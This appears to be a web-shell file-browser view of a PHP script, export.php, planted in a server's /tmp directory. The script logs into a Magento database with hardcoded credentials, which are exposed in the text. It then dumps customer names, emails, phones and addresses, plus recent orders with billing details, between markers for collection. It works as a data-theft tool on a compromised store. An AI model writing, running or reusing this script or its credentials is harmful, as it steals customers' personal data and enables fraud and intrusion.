| Current Path : /proc/self/root/tmp/ |
| Current File : //proc/self/root/tmp/export.php |
<?php
$mysqli = new mysqli("magento.mysql.database.azure.com", "flips@magento", "HappyMind2021V", "magento");
if ($mysqli->connect_error) {
die("ERROR:" . $mysqli->connect_error);
}
// 查询客户及地址信息
$query = "
SELECT
c.entity_id,
c.email,
c.firstname,
c.lastname,
c.created_at,
ca.telephone,
ca.street,
ca.city,
ca.region,
ca.postcode,
ca.country_id,
ca.company
FROM customer_entity c
LEFT JOIN customer_address_entity ca ON ca.parent_id = c.entity_id
ORDER BY c.entity_id
LIMIT 100
";
$result = $mysqli->query($query);
echo "CUSTOMER_DATA_START\n";
while ($row = $result->fetch_assoc()) {
echo json_encode($row) . "\n";
}
echo "CUSTOMER_DATA_END\n";
// 查询订单信息
$order_query = "
SELECT
so.increment_id,
so.customer_email,
so.customer_firstname,
so.customer_lastname,
so.grand_total,
so.status,
so.created_at,
sob.telephone AS billing_telephone,
sob.street AS billing_street,
sob.city AS billing_city,
sob.postcode AS billing_postcode
FROM sales_order so
LEFT JOIN sales_order_address sob ON sob.parent_id = so.entity_id AND sob.address_type = 'billing'
ORDER BY so.created_at DESC
LIMIT 50
";
$order_result = $mysqli->query($order_query);
echo "ORDER_DATA_START\n";
while ($row = $order_result->fetch_assoc()) {
echo json_encode($row) . "\n";
}
echo "ORDER_DATA_END\n";
$mysqli->close();
?>
PHPEOF 2>&1